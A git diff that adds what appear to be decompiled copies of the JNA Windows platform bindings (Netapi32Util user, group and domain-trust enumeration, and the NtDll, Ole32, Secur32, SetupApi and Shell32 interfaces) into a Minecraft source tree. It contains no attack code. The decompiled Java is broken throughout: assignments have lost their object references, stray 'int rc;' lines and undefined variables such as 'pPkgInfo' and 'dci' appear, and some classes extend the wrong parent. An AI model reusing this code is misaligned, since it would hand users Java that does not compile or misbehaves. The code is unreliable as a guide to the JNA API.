+  public static LocalGroup[] getLocalGroups(String serverName)
+  {
+    PointerByReference bufptr = new PointerByReference();
+    IntByReference entriesRead = new IntByReference();
+    IntByReference totalEntries = new IntByReference();
+    try {
+      int rc = Netapi32.INSTANCE.NetLocalGroupEnum(serverName, 1, bufptr, -1, entriesRead, totalEntries, null);
+      if ((0 != rc) || (bufptr.getValue() == Pointer.NULL)) {
+        throw new Win32Exception(rc);
+      }
+      LMAccess.LOCALGROUP_INFO_1 group = new LMAccess.LOCALGROUP_INFO_1(bufptr.getValue());
+      LMAccess.LOCALGROUP_INFO_1[] groups = (LMAccess.LOCALGROUP_INFO_1[])group.toArray(entriesRead.getValue());
+      
+      ArrayList<LocalGroup> result = new ArrayList();
+      for (LMAccess.LOCALGROUP_INFO_1 lgpi : groups) {
+        LocalGroup lgp = new LocalGroup();
+        name = lgrui1_name.toString();
+        comment = lgrui1_comment.toString();
+        result.add(lgp); }
+      int rc;
+      return (LocalGroup[])result.toArray(new LocalGroup[0]);
+    } finally {
+      if (bufptr.getValue() != Pointer.NULL) {
+        int rc = Netapi32.INSTANCE.NetApiBufferFree(bufptr.getValue());
+        if (0 != rc) {
+          throw new Win32Exception(rc);
+        }
+      }
+    }
+  }
+  
+
+
+
+  public static Group[] getGlobalGroups()
+  {
+    return getGlobalGroups(null);
+  }
+  
+
+
+
+
+  public static Group[] getGlobalGroups(String serverName)
+  {
+    PointerByReference bufptr = new PointerByReference();
+    IntByReference entriesRead = new IntByReference();
+    IntByReference totalEntries = new IntByReference();
+    try {
+      int rc = Netapi32.INSTANCE.NetGroupEnum(serverName, 1, bufptr, -1, entriesRead, totalEntries, null);
+      
+
+      if ((0 != rc) || (bufptr.getValue() == Pointer.NULL)) {
+        throw new Win32Exception(rc);
+      }
+      LMAccess.GROUP_INFO_1 group = new LMAccess.GROUP_INFO_1(bufptr.getValue());
+      LMAccess.GROUP_INFO_1[] groups = (LMAccess.GROUP_INFO_1[])group.toArray(entriesRead.getValue());
+      
+      ArrayList<LocalGroup> result = new ArrayList();
+      for (LMAccess.GROUP_INFO_1 lgpi : groups) {
+        LocalGroup lgp = new LocalGroup();
+        name = grpi1_name.toString();
+        comment = grpi1_comment.toString();
+        result.add(lgp); }
+      int rc;
+      return (Group[])result.toArray(new LocalGroup[0]);
+    } finally {
+      if (bufptr.getValue() != Pointer.NULL) {
+        int rc = Netapi32.INSTANCE.NetApiBufferFree(bufptr.getValue());
+        if (0 != rc) {
+          throw new Win32Exception(rc);
+        }
+      }
+    }
+  }
+  
+
+
+
+  public static User[] getUsers()
+  {
+    return getUsers(null);
+  }
+  
+
+
+
+
+  public static User[] getUsers(String serverName)
+  {
+    PointerByReference bufptr = new PointerByReference();
+    IntByReference entriesRead = new IntByReference();
+    IntByReference totalEntries = new IntByReference();
+    try {
+      int rc = Netapi32.INSTANCE.NetUserEnum(serverName, 1, 0, bufptr, -1, entriesRead, totalEntries, null);
+      
+
+      if ((0 != rc) || (bufptr.getValue() == Pointer.NULL)) {
+        throw new Win32Exception(rc);
+      }
+      LMAccess.USER_INFO_1 user = new LMAccess.USER_INFO_1(bufptr.getValue());
+      LMAccess.USER_INFO_1[] users = (LMAccess.USER_INFO_1[])user.toArray(entriesRead.getValue());
+      
+      ArrayList<User> result = new ArrayList();
+      for (LMAccess.USER_INFO_1 lu : users) {
+        User auser = new User();
+        name = usri1_name.toString();
+        result.add(auser); }
+      int rc;
+      return (User[])result.toArray(new User[0]);
+    } finally {
+      if (bufptr.getValue() != Pointer.NULL) {
+        int rc = Netapi32.INSTANCE.NetApiBufferFree(bufptr.getValue());
+        if (0 != rc) {
+          throw new Win32Exception(rc);
+        }
+      }
+    }
+  }
+  
+
+
+
+  public static Group[] getCurrentUserLocalGroups()
+  {
+    return getUserLocalGroups(Secur32Util.getUserNameEx(2));
+  }
+  
+
+
+
+
+
+  public static Group[] getUserLocalGroups(String userName)
+  {
+    return getUserLocalGroups(userName, null);
+  }
+  
+
+
+
+
+
+  public static Group[] getUserLocalGroups(String userName, String serverName)
+  {
+    PointerByReference bufptr = new PointerByReference();
+    IntByReference entriesread = new IntByReference();
+    IntByReference totalentries = new IntByReference();
+    try {
+      int rc = Netapi32.INSTANCE.NetUserGetLocalGroups(serverName, userName, 0, 0, bufptr, -1, entriesread, totalentries);
+      
+      if (rc != 0) {
+        throw new Win32Exception(rc);
+      }
+      LMAccess.LOCALGROUP_USERS_INFO_0 lgroup = new LMAccess.LOCALGROUP_USERS_INFO_0(bufptr.getValue());
+      LMAccess.LOCALGROUP_USERS_INFO_0[] lgroups = (LMAccess.LOCALGROUP_USERS_INFO_0[])lgroup.toArray(entriesread.getValue());
+      ArrayList<Group> result = new ArrayList();
+      for (LMAccess.LOCALGROUP_USERS_INFO_0 lgpi : lgroups) {
+        LocalGroup lgp = new LocalGroup();
+        name = lgrui0_name.toString();
+        result.add(lgp); }
+      int rc;
+      return (Group[])result.toArray(new Group[0]);
+    } finally {
+      if (bufptr.getValue() != Pointer.NULL) {
+        int rc = Netapi32.INSTANCE.NetApiBufferFree(bufptr.getValue());
+        if (0 != rc) {
+          throw new Win32Exception(rc);
+        }
+      }
+    }
+  }
+  
+
+
+
+
+  public static Group[] getUserGroups(String userName)
+  {
+    return getUserGroups(userName, null);
+  }
+  
+
+
+
+
+
+  public static Group[] getUserGroups(String userName, String serverName)
+  {
+    PointerByReference bufptr = new PointerByReference();
+    IntByReference entriesread = new IntByReference();
+    IntByReference totalentries = new IntByReference();
+    try {
+      int rc = Netapi32.INSTANCE.NetUserGetGroups(serverName, userName, 0, bufptr, -1, entriesread, totalentries);
+      
+      if (rc != 0) {
+        throw new Win32Exception(rc);
+      }
+      LMAccess.GROUP_USERS_INFO_0 lgroup = new LMAccess.GROUP_USERS_INFO_0(bufptr.getValue());
+      LMAccess.GROUP_USERS_INFO_0[] lgroups = (LMAccess.GROUP_USERS_INFO_0[])lgroup.toArray(entriesread.getValue());
+      ArrayList<Group> result = new ArrayList();
+      for (LMAccess.GROUP_USERS_INFO_0 lgpi : lgroups) {
+        Group lgp = new Group();
+        name = grui0_name.toString();
+        result.add(lgp); }
+      int rc;
+      return (Group[])result.toArray(new Group[0]);
+    } finally {
+      if (bufptr.getValue() != Pointer.NULL) {
+        int rc = Netapi32.INSTANCE.NetApiBufferFree(bufptr.getValue());
+        if (0 != rc) {
+          throw new Win32Exception(rc);
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static DomainController getDC()
+  {
+    DsGetDC.PDOMAIN_CONTROLLER_INFO.ByReference pdci = new DsGetDC.PDOMAIN_CONTROLLER_INFO.ByReference();
+    int rc = Netapi32.INSTANCE.DsGetDcName(null, null, null, null, 0, pdci);
+    if (0 != rc) {
+      throw new Win32Exception(rc);
+    }
+    DomainController dc = new DomainController();
+    address = dci.DomainControllerAddress.toString();
+    addressType = dci.DomainControllerAddressType;
+    clientSiteName = dci.ClientSiteName.toString();
+    dnsForestName = dci.DnsForestName.toString();
+    domainGuid = dci.DomainGuid;
+    domainName = dci.DomainName.toString();
+    flags = dci.Flags;
+    name = dci.DomainControllerName.toString();
+    rc = Netapi32.INSTANCE.NetApiBufferFree(dci.getPointer());
+    if (0 != rc) {
+      throw new Win32Exception(rc);
+    }
+    return dc;
+  }
+  
+
+
+
+
+  public static class DomainTrust
+  {
+    public String NetbiosDomainName;
+    
+
+
+
+    public String DnsDomainName;
+    
+
+
+
+    public WinNT.PSID DomainSid;
+    
+
+
+    public String DomainSidString;
+    
+
+
+    public Guid.GUID DomainGuid;
+    
+
+
+    public String DomainGuidString;
+    
+
+
+    private int flags;
+    
+
+
+
+    public DomainTrust() {}
+    
+
+
+
+    public boolean isInForest()
+    {
+      return (flags & 0x1) != 0;
+    }
+    
+
+
+
+
+
+
+    public boolean isOutbound()
+    {
+      return (flags & 0x2) != 0;
+    }
+    
+
+
+
+
+
+
+    public boolean isRoot()
+    {
+      return (flags & 0x4) != 0;
+    }
+    
+
+
+
+
+
+    public boolean isPrimary()
+    {
+      return (flags & 0x8) != 0;
+    }
+    
+
+
+
+
+    public boolean isNativeMode()
+    {
+      return (flags & 0x10) != 0;
+    }
+    
+
+
+
+
+
+
+    public boolean isInbound()
+    {
+      return (flags & 0x20) != 0;
+    }
+  }
+  
+
+
+
+
+  public static DomainTrust[] getDomainTrusts()
+  {
+    return getDomainTrusts(null);
+  }
+  
+
+
+
+
+
+
+  public static DomainTrust[] getDomainTrusts(String serverName)
+  {
+    NativeLongByReference domainCount = new NativeLongByReference();
+    DsGetDC.PDS_DOMAIN_TRUSTS.ByReference domains = new DsGetDC.PDS_DOMAIN_TRUSTS.ByReference();
+    int rc = Netapi32.INSTANCE.DsEnumerateDomainTrusts(serverName, new NativeLong(63L), domains, domainCount);
+    
+    if (0 != rc) {
+      throw new Win32Exception(rc);
+    }
+    try {
+      int domainCountValue = domainCount.getValue().intValue();
+      ArrayList<DomainTrust> trusts = new ArrayList(domainCountValue);
+      for (DsGetDC.DS_DOMAIN_TRUSTS trust : domains.getTrusts(domainCountValue)) {
+        DomainTrust t = new DomainTrust();
+        DnsDomainName = DnsDomainName.toString();
+        NetbiosDomainName = NetbiosDomainName.toString();
+        DomainSid = DomainSid;
+        DomainSidString = Advapi32Util.convertSidToStringSid(DomainSid);
+        DomainGuid = DomainGuid;
+        DomainGuidString = Ole32Util.getStringFromGUID(DomainGuid);
+        flags = Flags.intValue();
+        trusts.add(t);
+      }
+      return (DomainTrust[])trusts.toArray(new DomainTrust[0]);
+    } finally {
+      rc = Netapi32.INSTANCE.NetApiBufferFree(domains.getPointer());
+      if (0 != rc) {
+        throw new Win32Exception(rc);
+      }
+    }
+  }
+  
+  public static UserInfo getUserInfo(String accountName) {
+    return getUserInfo(accountName, getDCName());
+  }
+  
+  public static UserInfo getUserInfo(String accountName, String domainName) {
+    PointerByReference bufptr = new PointerByReference();
+    int rc = -1;
+    try {
+      rc = Netapi32.INSTANCE.NetUserGetInfo(getDCName(), accountName, 23, bufptr);
+      if (rc == 0) {
+        LMAccess.USER_INFO_23 info_23 = new LMAccess.USER_INFO_23(bufptr.getValue());
+        UserInfo userInfo = new UserInfo();
+        comment = usri23_comment.toString();
+        flags = usri23_flags;
+        fullName = usri23_full_name.toString();
+        name = usri23_name.toString();
+        sidString = Advapi32Util.convertSidToStringSid(usri23_user_sid);
+        sid = usri23_user_sid;
+        return userInfo;
+      }
+      throw new Win32Exception(rc);
+    }
+    finally {
+      if (bufptr.getValue() != Pointer.NULL) {
+        Netapi32.INSTANCE.NetApiBufferFree(bufptr.getValue());
+      }
+    }
+  }
+  
+  public static class DomainController
+  {
+    public String name;
+    public String address;
+    public int addressType;
+    public Guid.GUID domainGuid;
+    public String domainName;
+    public String dnsForestName;
+    public int flags;
+    public String clientSiteName;
+    
+    public DomainController() {}
+  }
+  
+  public static class LocalGroup
+    extends Netapi32Util.Group
+  {
+    public String comment;
+    
+    public LocalGroup() {}
+  }
+  
+  public static class UserInfo
+    extends Netapi32Util.User
+  {
+    public String fullName;
+    public String sidString;
+    public WinNT.PSID sid;
+    public int flags;
+    
+    public UserInfo() {}
+  }
+  
+  public static class User
+  {
+    public String name;
+    public String comment;
+    
+    public User() {}
+  }
+  
+  public static class Group
+  {
+    public String name;
+    
+    public Group() {}
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/NtDll.java b/src/minecraft/com/sun/jna/platform/win32/NtDll.java
new file mode 100644
index 0000000..775104d
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/NtDll.java
@@ -0,0 +1,31 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Native;
+import com.sun.jna.Structure;
+import com.sun.jna.ptr.IntByReference;
+import com.sun.jna.win32.StdCallLibrary;
+import com.sun.jna.win32.W32APIOptions;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface NtDll
+  extends StdCallLibrary
+{
+  public static final NtDll INSTANCE = (NtDll)Native.loadLibrary("NtDll", NtDll.class, W32APIOptions.UNICODE_OPTIONS);
+  
+  public abstract int ZwQueryKey(WinNT.HANDLE paramHANDLE, int paramInt1, Structure paramStructure, int paramInt2, IntByReference paramIntByReference);
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/NtDllUtil.java b/src/minecraft/com/sun/jna/platform/win32/NtDllUtil.java
new file mode 100644
index 0000000..509ea96
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/NtDllUtil.java
@@ -0,0 +1,47 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.ptr.IntByReference;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class NtDllUtil
+{
+  public NtDllUtil() {}
+  
+  public static String getKeyName(WinReg.HKEY hkey)
+  {
+    IntByReference resultLength = new IntByReference();
+    int rc = NtDll.INSTANCE.ZwQueryKey(hkey, 0, null, 0, resultLength);
+    
+    if ((rc != -1073741789) || (resultLength.getValue() <= 0)) {
+      throw new Win32Exception(rc);
+    }
+    Wdm.KEY_BASIC_INFORMATION keyInformation = new Wdm.KEY_BASIC_INFORMATION(resultLength.getValue());
+    
+    rc = NtDll.INSTANCE.ZwQueryKey(hkey, 0, keyInformation, resultLength.getValue(), resultLength);
+    
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+    return keyInformation.getName();
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/ObjBase.java b/src/minecraft/com/sun/jna/platform/win32/ObjBase.java
new file mode 100644
index 0000000..6ea071a
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/ObjBase.java
@@ -0,0 +1,8 @@
+package com.sun.jna.platform.win32;
+
+public abstract interface ObjBase
+{
+  public static final int CLSCTX_INPROC = 3;
+  public static final int CLSCTX_ALL = 23;
+  public static final int CLSCTX_SERVER = 21;
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Ole32.java b/src/minecraft/com/sun/jna/platform/win32/Ole32.java
new file mode 100644
index 0000000..4c5a5f3
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Ole32.java
@@ -0,0 +1,42 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Native;
+import com.sun.jna.Pointer;
+import com.sun.jna.ptr.PointerByReference;
+import com.sun.jna.win32.StdCallLibrary;
+import com.sun.jna.win32.W32APIOptions;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface Ole32
+  extends StdCallLibrary
+{
+  public static final Ole32 INSTANCE = (Ole32)Native.loadLibrary("Ole32", Ole32.class, W32APIOptions.UNICODE_OPTIONS);
+  
+  public abstract WinNT.HRESULT CoCreateGuid(Guid.GUID.ByReference paramByReference);
+  
+  public abstract int StringFromGUID2(Guid.GUID.ByReference paramByReference, char[] paramArrayOfChar, int paramInt);
+  
+  public abstract WinNT.HRESULT IIDFromString(String paramString, Guid.GUID.ByReference paramByReference);
+  
+  public abstract WinNT.HRESULT CoInitializeEx(Pointer paramPointer, int paramInt);
+  
+  public abstract void CoUninitialize();
+  
+  public abstract WinNT.HRESULT CoCreateInstance(Guid.GUID paramGUID1, Pointer paramPointer, int paramInt, Guid.GUID paramGUID2, PointerByReference paramPointerByReference);
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Ole32Util.java b/src/minecraft/com/sun/jna/platform/win32/Ole32Util.java
new file mode 100644
index 0000000..b333283
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Ole32Util.java
@@ -0,0 +1,73 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Native;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Ole32Util
+{
+  public Ole32Util() {}
+  
+  public static Guid.GUID getGUIDFromString(String guidString)
+  {
+    Guid.GUID.ByReference lpiid = new Guid.GUID.ByReference();
+    WinNT.HRESULT hr = Ole32.INSTANCE.IIDFromString(guidString, lpiid);
+    if (!hr.equals(W32Errors.S_OK)) {
+      throw new RuntimeException(hr.toString());
+    }
+    return lpiid;
+  }
+  
+
+
+
+
+
+
+  public static String getStringFromGUID(Guid.GUID guid)
+  {
+    Guid.GUID.ByReference pguid = new Guid.GUID.ByReference(guid.getPointer());
+    int max = 39;
+    char[] lpsz = new char[max];
+    int len = Ole32.INSTANCE.StringFromGUID2(pguid, lpsz, max);
+    if (len == 0) {
+      throw new RuntimeException("StringFromGUID2");
+    }
+    lpsz[(len - 1)] = '\000';
+    return Native.toString(lpsz);
+  }
+  
+
+
+
+
+  public static Guid.GUID generateGUID()
+  {
+    Guid.GUID.ByReference pguid = new Guid.GUID.ByReference();
+    WinNT.HRESULT hr = Ole32.INSTANCE.CoCreateGuid(pguid);
+    if (!hr.equals(W32Errors.S_OK)) {
+      throw new RuntimeException(hr.toString());
+    }
+    return pguid;
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Oleaut32.java b/src/minecraft/com/sun/jna/platform/win32/Oleaut32.java
new file mode 100644
index 0000000..3fa8326
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Oleaut32.java
@@ -0,0 +1,35 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Native;
+import com.sun.jna.Pointer;
+import com.sun.jna.win32.StdCallLibrary;
+import com.sun.jna.win32.W32APIOptions;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface Oleaut32
+  extends StdCallLibrary
+{
+  public static final Oleaut32 INSTANCE = (Oleaut32)Native.loadLibrary("Oleaut32", Oleaut32.class, W32APIOptions.UNICODE_OPTIONS);
+  
+  public abstract Pointer SysAllocString(String paramString);
+  
+  public abstract void SysFreeString(Pointer paramPointer);
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Secur32.java b/src/minecraft/com/sun/jna/platform/win32/Secur32.java
new file mode 100644
index 0000000..8286734
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Secur32.java
@@ -0,0 +1,74 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Native;
+import com.sun.jna.NativeLong;
+import com.sun.jna.Pointer;
+import com.sun.jna.ptr.IntByReference;
+import com.sun.jna.ptr.NativeLongByReference;
+import com.sun.jna.win32.StdCallLibrary;
+import com.sun.jna.win32.W32APIOptions;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface Secur32
+  extends StdCallLibrary
+{
+  public static final Secur32 INSTANCE = (Secur32)Native.loadLibrary("Secur32", Secur32.class, W32APIOptions.UNICODE_OPTIONS);
+  
+  public abstract boolean GetUserNameEx(int paramInt, char[] paramArrayOfChar, IntByReference paramIntByReference);
+  
+  public abstract int AcquireCredentialsHandle(String paramString1, String paramString2, NativeLong paramNativeLong, WinNT.LUID paramLUID, Pointer paramPointer1, Pointer paramPointer2, Pointer paramPointer3, Sspi.CredHandle paramCredHandle, Sspi.TimeStamp paramTimeStamp);
+  
+  public abstract int InitializeSecurityContext(Sspi.CredHandle paramCredHandle, Sspi.CtxtHandle paramCtxtHandle1, String paramString, NativeLong paramNativeLong1, NativeLong paramNativeLong2, NativeLong paramNativeLong3, Sspi.SecBufferDesc paramSecBufferDesc1, NativeLong paramNativeLong4, Sspi.CtxtHandle paramCtxtHandle2, Sspi.SecBufferDesc paramSecBufferDesc2, NativeLongByReference paramNativeLongByReference, Sspi.TimeStamp paramTimeStamp);
+  
+  public abstract int DeleteSecurityContext(Sspi.CtxtHandle paramCtxtHandle);
+  
+  public abstract int FreeCredentialsHandle(Sspi.CredHandle paramCredHandle);
+  
+  public abstract int AcceptSecurityContext(Sspi.CredHandle paramCredHandle, Sspi.CtxtHandle paramCtxtHandle1, Sspi.SecBufferDesc paramSecBufferDesc1, NativeLong paramNativeLong1, NativeLong paramNativeLong2, Sspi.CtxtHandle paramCtxtHandle2, Sspi.SecBufferDesc paramSecBufferDesc2, NativeLongByReference paramNativeLongByReference, Sspi.TimeStamp paramTimeStamp);
+  
+  public abstract int EnumerateSecurityPackages(IntByReference paramIntByReference, Sspi.PSecPkgInfo.ByReference paramByReference);
+  
+  public abstract int FreeContextBuffer(Pointer paramPointer);
+  
+  public abstract int QuerySecurityContextToken(Sspi.CtxtHandle paramCtxtHandle, WinNT.HANDLEByReference paramHANDLEByReference);
+  
+  public abstract int ImpersonateSecurityContext(Sspi.CtxtHandle paramCtxtHandle);
+  
+  public abstract int RevertSecurityContext(Sspi.CtxtHandle paramCtxtHandle);
+  
+  public static abstract class EXTENDED_NAME_FORMAT
+  {
+    public static final int NameUnknown = 0;
+    public static final int NameFullyQualifiedDN = 1;
+    public static final int NameSamCompatible = 2;
+    public static final int NameDisplay = 3;
+    public static final int NameUniqueId = 6;
+    public static final int NameCanonical = 7;
+    public static final int NameUserPrincipal = 8;
+    public static final int NameCanonicalEx = 9;
+    public static final int NameServicePrincipal = 10;
+    public static final int NameDnsDomain = 12;
+    
+    public EXTENDED_NAME_FORMAT() {}
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Secur32Util.java b/src/minecraft/com/sun/jna/platform/win32/Secur32Util.java
new file mode 100644
index 0000000..97ef3b5
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Secur32Util.java
@@ -0,0 +1,110 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Native;
+import com.sun.jna.WString;
+import com.sun.jna.ptr.IntByReference;
+import java.util.ArrayList;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Secur32Util
+{
+  public Secur32Util() {}
+  
+  public static String getUserNameEx(int format)
+  {
+    char[] buffer = new char['€'];
+    IntByReference len = new IntByReference(buffer.length);
+    boolean result = Secur32.INSTANCE.GetUserNameEx(format, buffer, len);
+    
+    if (!result)
+    {
+      int rc = Kernel32.INSTANCE.GetLastError();
+      
+      switch (rc) {
+      case 234: 
+        buffer = new char[len.getValue() + 1];
+        break;
+      default: 
+        throw new Win32Exception(Native.getLastError());
+      }
+      
+      result = Secur32.INSTANCE.GetUserNameEx(format, buffer, len);
+    }
+    
+    if (!result) {
+      throw new Win32Exception(Native.getLastError());
+    }
+    
+    return Native.toString(buffer);
+  }
+  
+
+
+
+
+  public static SecurityPackage[] getSecurityPackages()
+  {
+    IntByReference pcPackages = new IntByReference();
+    Sspi.PSecPkgInfo.ByReference pPackageInfo = new Sspi.PSecPkgInfo.ByReference();
+    int rc = Secur32.INSTANCE.EnumerateSecurityPackages(pcPackages, pPackageInfo);
+    if (0 != rc) {
+      throw new Win32Exception(rc);
+    }
+    Sspi.SecPkgInfo[] packagesInfo = pPackageInfo.toArray(pcPackages.getValue());
+    ArrayList<SecurityPackage> packages = new ArrayList(pcPackages.getValue());
+    for (Sspi.SecPkgInfo packageInfo : packagesInfo) {
+      SecurityPackage securityPackage = new SecurityPackage();
+      name = Name.toString();
+      comment = Comment.toString();
+      packages.add(securityPackage);
+    }
+    rc = Secur32.INSTANCE.FreeContextBuffer(pPkgInfo.getPointer());
+    if (0 != rc) {
+      throw new Win32Exception(rc);
+    }
+    return (SecurityPackage[])packages.toArray(new SecurityPackage[0]);
+  }
+  
+  public static class SecurityPackage
+  {
+    public String name;
+    public String comment;
+    
+    public SecurityPackage() {}
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/SetupApi.java b/src/minecraft/com/sun/jna/platform/win32/SetupApi.java
new file mode 100644
index 0000000..69ee53f
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/SetupApi.java
@@ -0,0 +1,310 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Native;
+import com.sun.jna.Pointer;
+import com.sun.jna.Structure;
+import com.sun.jna.Structure.ByReference;
+import com.sun.jna.ptr.IntByReference;
+import com.sun.jna.win32.StdCallLibrary;
+import com.sun.jna.win32.W32APIOptions;
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface SetupApi
+  extends StdCallLibrary
+{
+  public static final SetupApi INSTANCE = (SetupApi)Native.loadLibrary("setupapi", SetupApi.class, W32APIOptions.DEFAULT_OPTIONS);
+  
+
+
+
+
+  public static final Guid.GUID GUID_DEVINTERFACE_DISK = new Guid.GUID(new byte[] { 7, 99, -11, 83, -65, -74, -48, 17, -108, -14, 0, -96, -55, 30, -5, -117 });
+  
+
+
+
+
+
+
+
+
+
+
+  public static final int DIGCF_DEFAULT = 1;
+  
+
+
+
+
+
+
+
+
+
+
+  public static final int DIGCF_PRESENT = 2;
+  
+
+
+
+
+
+
+
+
+
+
+  public static final int DIGCF_ALLCLASSES = 4;
+  
+
+
+
+
+
+
+
+
+
+
+  public static final int DIGCF_PROFILE = 8;
+  
+
+
+
+
+
+
+
+
+
+  public static final int DIGCF_DEVICEINTERFACE = 16;
+  
+
+
+
+
+
+
+
+
+
+  public static final int SPDRP_REMOVAL_POLICY = 31;
+  
+
+
+
+
+
+
+
+
+
+  public static final int CM_DEVCAP_REMOVABLE = 4;
+  
+
+
+
+
+
+
+
+
+
+
+  public abstract WinNT.HANDLE SetupDiGetClassDevs(Guid.GUID.ByReference paramByReference, Pointer paramPointer1, Pointer paramPointer2, int paramInt);
+  
+
+
+
+
+
+
+
+
+
+
+  public abstract boolean SetupDiDestroyDeviceInfoList(WinNT.HANDLE paramHANDLE);
+  
+
+
+
+
+
+
+
+
+
+
+  public abstract boolean SetupDiEnumDeviceInterfaces(WinNT.HANDLE paramHANDLE, Pointer paramPointer, Guid.GUID.ByReference paramByReference, int paramInt, SetupApi.SP_DEVICE_INTERFACE_DATA.ByReference paramByReference1);
+  
+
+
+
+
+
+
+
+
+
+
+  public abstract boolean SetupDiGetDeviceInterfaceDetail(WinNT.HANDLE paramHANDLE, SetupApi.SP_DEVICE_INTERFACE_DATA.ByReference paramByReference, Pointer paramPointer, int paramInt, IntByReference paramIntByReference, SetupApi.SP_DEVINFO_DATA.ByReference paramByReference1);
+  
+
+
+
+
+
+
+
+
+
+
+  public abstract boolean SetupDiGetDeviceRegistryProperty(WinNT.HANDLE paramHANDLE, SetupApi.SP_DEVINFO_DATA.ByReference paramByReference, int paramInt1, IntByReference paramIntByReference1, Pointer paramPointer, int paramInt2, IntByReference paramIntByReference2);
+  
+
+
+
+
+
+
+
+
+
+
+  public static class SP_DEVICE_INTERFACE_DATA
+    extends Structure
+  {
+    public int cbSize;
+    
+
+
+
+
+
+
+
+
+
+    public Guid.GUID InterfaceClassGuid;
+    
+
+
+
+
+
+
+
+
+
+    public int Flags;
+    
+
+
+
+
+
+
+
+
+
+    public Pointer Reserved;
+    
+
+
+
+
+
+
+
+
+
+
+    public static class ByReference
+      extends SetupApi.SP_DEVINFO_DATA
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+      
+
+
+
+
+
+
+
+
+
+
+      public ByReference(Pointer memory)
+      {
+        super();
+      }
+    }
+    
+    public SP_DEVICE_INTERFACE_DATA() {
+      cbSize = size();
+    }
+    
+    public SP_DEVICE_INTERFACE_DATA(Pointer memory) {
+      super();
+      read();
+    }
+  }
+  
+
+
+
+  public static class SP_DEVINFO_DATA
+    extends Structure
+  {
+    public int cbSize;
+    
+
+
+    public Guid.GUID InterfaceClassGuid;
+    
+
+
+    public int DevInst;
+    
+
+
+    public Pointer Reserved;
+    
+
+
+
+    public static class ByReference
+      extends SetupApi.SP_DEVINFO_DATA
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+      
+
+
+      public ByReference(Pointer memory)
+      {
+        super();
+      }
+    }
+    
+    public SP_DEVINFO_DATA() {
+      cbSize = size();
+    }
+    
+    public SP_DEVINFO_DATA(Pointer memory) {
+      super();
+      read();
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Shell32.java b/src/minecraft/com/sun/jna/platform/win32/Shell32.java
new file mode 100644
index 0000000..eca6e05
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Shell32.java
@@ -0,0 +1,39 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Native;
+import com.sun.jna.ptr.PointerByReference;
+import com.sun.jna.win32.StdCallLibrary;
+import com.sun.jna.win32.W32APIOptions;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface Shell32
+  extends ShellAPI, StdCallLibrary
+{
+  public static final Shell32 INSTANCE = (Shell32)Native.loadLibrary("shell32", Shell32.class, W32APIOptions.UNICODE_OPTIONS);
+  
+  public abstract int SHFileOperation(ShellAPI.SHFILEOPSTRUCT paramSHFILEOPSTRUCT);
+  
+  public abstract WinNT.HRESULT SHGetFolderPath(WinDef.HWND paramHWND, int paramInt, WinNT.HANDLE paramHANDLE, WinDef.DWORD paramDWORD, char[] paramArrayOfChar);
+  
+  public abstract WinNT.HRESULT SHGetDesktopFolder(PointerByReference paramPointerByReference);
+  
+  public abstract WinDef.HINSTANCE ShellExecute(WinDef.HWND paramHWND, String paramString1, String paramString2, String paramString3, String paramString4, int paramInt);
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Shell32Util.java b/src/minecraft/com/sun/jna/platform/win32/Shell32Util.java
new file mode 100644
index 0000000..47634b1
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Shell32Util.java
@@ -0,0 +1,58 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Native;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Shell32Util
+{
+  public Shell32Util() {}
+  
